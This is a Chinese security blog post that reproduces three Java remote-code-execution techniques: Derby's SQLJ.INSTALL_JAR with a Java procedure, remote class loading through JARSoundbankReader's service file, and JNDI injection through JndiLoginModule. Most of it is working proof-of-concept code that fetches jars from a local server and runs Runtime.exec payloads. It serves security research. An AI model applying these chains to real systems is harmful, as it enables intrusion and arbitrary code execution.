[复现]derby数据库调用java|spi加载jar包|JndiLoginModule

BB

学学大哥的文章,复现复现

0x01 derby复现

poc

准备一个恶意类

1
2
3
4
5
6
7
import java.io.IOException;

public class testShell4 {
public static void exec() throws IOException {
Runtime.getRuntime().exec("cmd.exe /c calc");
}
}

sql 执行

1
2
3
4
5
6
7
8
9
10
11
## 导入一个类到数据库中
CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test3.jar', 'APP.Sample4', 0)

## 将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4')

## 创建一个PROCEDURE,EXTERNAL NAME 后面的值可以调用类的static类型方法
CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec'

## 调用PROCEDURE
CALL SALES.TOTAL_REVENUES()

复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.io.IOException;

public class calc {
public calc() {
}

public static void calc() throws IOException {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException var1) {
IOException e = var1;
throw new RuntimeException(e);
}
}
}



package org.unam4;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;

public class derbywithjar {
public static void main(String[] args) throws Exception {
Class.forName("org.apache.derby.jdbc.EmbeddedDriver");
Connection connection = DriverManager.getConnection("jdbc:derby:myDB;create=true");
Statement statement = connection.createStatement();
statement.execute("CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/exp.jar', 'APP.Sample4', 0)");
statement.execute("CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4')");
statement.execute("CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'calc.calc'");
statement.execute("CALL SALES.TOTAL_REVENUES()");


}
}


jar cvf exp.jar calc.class

image-20250103160352022

0x02 spi 加载jar包

com.sun.media.sound.JARSoundbankReader

image-20250103161318735

读取META-INF/services/javax.sound.midi.Soundbank文件的内容,然后调用urlclassloaer加载指定的类,需要注意先判断回传的流是不是zip,再就是加载的类要继承Soundbank接口。

image-20250103165037005

也可以本地加载。

复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.unam4.test;


import com.sun.media.sound.JARSoundbankReader;
import javassist.ClassPool;
import javassist.CtClass;

import javax.sound.midi.Soundbank;
import java.net.URL;

public class test {
public static void main(String[] args) throws Exception {
// ClassPool classPool = ClassPool.getDefault();
// CtClass ctClass = classPool.makeClass("calc");
// ctClass.setInterfaces(new CtClass[]{classPool.get(Soundbank.class.getName())});
// ctClass.makeClassInitializer().setBody("Runtime.getRuntime().exec(\"open -a Calculator\");");
// ctClass.writeFile();
JARSoundbankReader jarSoundbankReader = new JARSoundbankReader();
jarSoundbankReader.getSoundbank(new URL("http://127.0.0.1:8888/exp.zip"));

}
}

先用javasist生成一个class,需要继承Soundbank,然后打包成zip,META-INF/services/javax.sound.midi.Soundbank 写入加载的类

image-20250103164642813

image-20250103164829850

运行加载成功

image-20250103165519048

也就是可以上传zip,然后加载。

0x03 JndiLoginModule

com.sun.security.auth.module.JndiLoginModule#login

image-20250103170337582

image-20250103170345220

构造一个JndiLoginModule类就行了

image-20250103170447711

自带构造函数,从map里获取

1
2
3
4
5
6
7
8
JndiLoginModule module = new JndiLoginModule();
Map<String, String> map = new HashMap<>();
map.put(module.USER_PROVIDER, "ldap://127.0.0.1:80/Object");
map.put(module.GROUP_PROVIDER, "group");
JAASRealm realm = new JAASRealm();
realm.setContainer(new StandardContext());
module.initialize(null,new JAASCallbackHandler(realm, "", ""), null, map);
module.login();

image-20250103170652713

reference

http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce

https://db.apache.org/derby/docs/10.4/getstart/index.html

https://ti.aliyun.com/#/log?id=28


[复现]derby数据库调用java|spi加载jar包|JndiLoginModule
https://unam4.github.io/2025/01/03/复现-derby数据库调用java/
作者
unam4
发布于
2025年1月3日
许可协议